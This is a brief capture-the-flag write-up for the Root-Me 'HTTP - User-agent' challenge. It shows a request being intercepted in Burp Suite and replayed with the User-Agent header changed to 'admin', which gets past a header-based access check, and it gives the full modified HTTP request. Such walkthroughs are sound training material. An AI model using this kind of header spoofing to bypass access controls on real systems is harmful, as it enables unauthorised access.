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HTTP - User-agent

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Let's intercept the request using Burpsuite so that we can modify it.

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We can now send the request to Repeater.

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User-Agent​

The User-Agent request header is a characteristic string that lets servers and network peers identify the application, browser used to make the request.

We have to modify it to admin.

HTTP Request​

GET /web-serveur/ch2/ HTTP/1.1
Host: challenge01.root-me.org
User-Agent: admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Cookie: _ga_SRYSKX09J7=GS1.1.1697381490.9.1.1697381491.0.0.0; _ga=GA1.1.1863804672.1697290591
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Finally, we have to send the request to the server.

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